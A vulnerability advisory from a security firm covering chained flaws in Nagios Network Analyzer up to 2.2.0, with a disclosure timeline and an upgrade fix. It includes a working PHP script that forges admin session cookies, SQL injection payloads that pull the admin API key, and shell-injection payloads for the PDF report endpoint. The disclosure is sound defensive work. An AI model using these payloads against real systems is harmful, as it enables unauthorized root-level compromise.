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presents..
Nagios Network Analyzer Multiple Vulnerabilities
Affected versions: Nagios Network Analyzer <= 2.2.0
PDF:
http://www.security-assessment.com/files/documents/advisory/NagiosNetworkAnalyzerAdvisory.pdf
+-----------+
|Description|
+-----------+
The Nagios Network Analyzer application is affected by multiple security
vulnerabilities, including authentication bypass, SQL injection,
arbitrary code execution via command injection and privilege escalation.
These vulnerabilities can be chained together to obtain unauthenticated
remote code execution in the context of the root user.
+------------+
|Exploitation|
+------------+
==Authentication Bypass==
Authentication for the Nagios Network Analyzer web management interface
can be bypassed due to an insecure implementation of the function
validating session cookies within the ‘Session.php’ file. As shown
below, the application uses a base64 encoded serialized PHP string along
with a SHA1 HMAC checksum as the cookie to authenticate and manage user
sessions. A sample cookie format is shown below:
a:15:{s:10:"session_id";s:32:"325672f137d4e3747a0f9e61a4c867b2";s:10:"ip_address";s:15:"192.168.xxx.xxx";
s:10:"user_agent";s:72:"Mozilla/5.0 (Windows NT 6.3; WOW64; rv:46.0)
Gecko/20100101 Firefox/46.0";s:13:"last_activity";
i:1463165417;s:9:"user_data";s:0:"";s:8:"identity";s:11:"nagiosadmin";s:8:"username";s:11:"nagiosadmin";s:5:"email";
s:30:"xxxxxx@security-assessment.com";s:7:"user_id";s:1:"1";s:14:"old_last_login";s:10:"1463163525";s:9:"apiaccess";
s:1:"1";s:6:"apikey";s:40:"6ba11d3f6e84011b3332d7427d0655de64f11d5e";s:8:"language";s:7:"default";s:10:"apisession";
b:1;s:7:"view_id";i:0;}<SHA1_HMAC_CHECKSUM>
The application relies on the validation against the SHA1 HMAC to
recognize and destroy invalid session cookies when the checksum value
does not match. However the encryption key used to generate the HMAC
checksum is statically set to the SHA1 hash value of the
$_SERVER['HTTP_HOST'] PHP variable, which is the Host HTTP header value.
This information can be controlled by the attacker and as such should
not be considered a secure randomly generated value for the secret
encryption key.
Since no further verification is performed for other non-predictable
fields (e.g. session_id, apikey, email, username etc.) and only a valid
user agent string matching the correct HTTP header value is required, an
attacker can forge arbitrary session cookies and bypass authentication.
The script on the following page generates session cookies which are
accepted and validated successfully by the application. A ‘user_id’
value of 1 can be used to initiate a session in the context of the admin
user.
[POC - nagiosna_forge_cookie.php]
<?php
// Usage: php nagiosna_forge_cookie.php [TARGET_IP_ADDRESS/DOMAIN NAME]
$host = $argv[1];
$session =
'a:14:{s:10:"session_id";s:32:"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";s:10:"ip_address";
s:15:"123.123.123.123";s:10:"user_agent";s:72:"Mozilla/5.0 (Windows NT
6.3; WOW64; rv:46.0) Gecko/20100101
Firefox/46.0";s:13:"last_activity";i:1463229493;s:9:"user_data";s:0:"";s:8:"identity";s:4:"XXXX";s:8:"username";
s:4:"XXXX";s:5:"email";s:16:"test@example.com";s:7:"user_id";s:1:"1";s:14:"old_last_login";s:10:"XXXXXXXXXX";
s:9:"apiaccess";s:1:"1";s:6:"apikey";s:40:"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";s:8:"language";s:7:"default";
s:10:"apisession";b:1;}';
$encryption_key = sha1($host);
$hmac_check = hash_hmac('sha1', $session, $encryption_key);
$cookie = $session . $hmac_check;
echo urlencode($cookie);
?>
This vulnerability is present across multiple Nagios products.
==SQL Injection==
Multiple SQL injection vulnerabilities exist in the application web
management interface. An attacker can exploit this vulnerabilities to
retrieve sensitive data from the application MySQL database.
URL =>
/nagiosna/index.php/api/checks/read?q%5Blastcode%5D=0&o%5Bcol%5D=<PAYLOAD>&o%5Bsort%5D=ASC
Method => GET
Parameter => o[col]
POC Payload => name AND (SELECT * FROM (SELECT(SLEEP(5)))UtTW)
URL =>
/nagiosna/index.php/api/sources/read?o%5Bcol%5D=<PAYLOAD>&o%5Bsort%5D=ASC
Method => GET
Parameter => o[col]
POC Payload => name AND (SELECT * FROM (SELECT(SLEEP(5)))UtTW)
URL => /nagiosna/index.php/admin/globals
Method => POST
Parameter => timezone
POC Payload => US/Eastern%' AND (SELECT 4646 FROM(SELECT
COUNT(*),CONCAT(0x232323,(SELECT MID((IFNULL(CAST(apikey AS
CHAR),0x20)),1,54) FROM nagiosna_users WHERE id=1 LIMIT
0,1),0x232323,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS
GROUP BY x)a) AND '%'=''
==Command Injection==
A command injection vulnerability exists in the function generating PDF
reports for download. Base64 encoded user-supplied input is passed as an
argument to system shell calls without being escaped. An attacker can
inject arbitrary shell commands and obtain remote code execution in the
context of the apache user.
URL => /nagiosna/index.php/download/report/sourcegroup/<ID>/<BASE64
ENCODED PAYLOAD>
Method => GET
POC Payload => q[rid]=5&q[gid]=1" "";{touch,/tmp/TESTFILE};echo "
URL => /nagiosna/index.php/download/report/source/<ID>/<BASE64 ENCODED
PAYLOAD>
Method => GET
POC Payload => q[rid]=5&q[gid]=1" "";{touch,/tmp/TESTFILE};echo "
Arbitrary code execution in the context of the ‘nna’ user can also be
obtained by abusing the intended functionality to define custom alert
commands. As shown in the next section, this exposes the application to
additional privilege escalation attack vectors.
==Privilege Escalation==
The default application sudoers configuration allows the ‘apache’ and
‘nna’ users to run multiple Bash and Python scripts as root without
being prompted for a password. The 'apache' user is in the 'nnacmd'
group, which has insecure write permissions to multiple script files. An
attacker can overwrite their contents with a malicious payload (i.e.
spawn a shell) and escalate privileges to root.
The script files with insecure permissions are listed below:
PATH => /usr/local/nagiosna/bin/rc.py
PERMISSIONS => rwxrwxr-t nna nnacmd
PATH => /usr/local/nagiosna/scripts/change_timezone.sh
PERMISSIONS => rwsrwsr-t nna nnacmd
PATH => /usr/local/nagiosna/scripts/upgrade_to_latest.sh
PERMISSIONS => rwsrwsr-t nna nnacmd
+----------+
| Solution |
+----------+
Upgrade to Nagios Network Analyzer 2.2.2.
+------------+
| Timeline |
+------------+
2/06/2016 – Initial disclosure to vendor
3/06/2016 – Vendor acknowledges receipt of advisory
3/06/2016 – Vendor releases new software build (2.2.1)
8/07/2016 – Inform vendor about insecure fix (generation of encryption
key based on epoch)
9/07/2016 – Vendor confirms issue and replies with new fix
01/08/2016 – Vendor releases patched software version
11/08/2016 – Public disclosure
+------------+
| Additional |
+------------+
Further information is available in the accompanying PDF.
http://www.security-assessment.com/files/documents/advisory/NagiosNetworkAnalyzerAdvisory.pdf
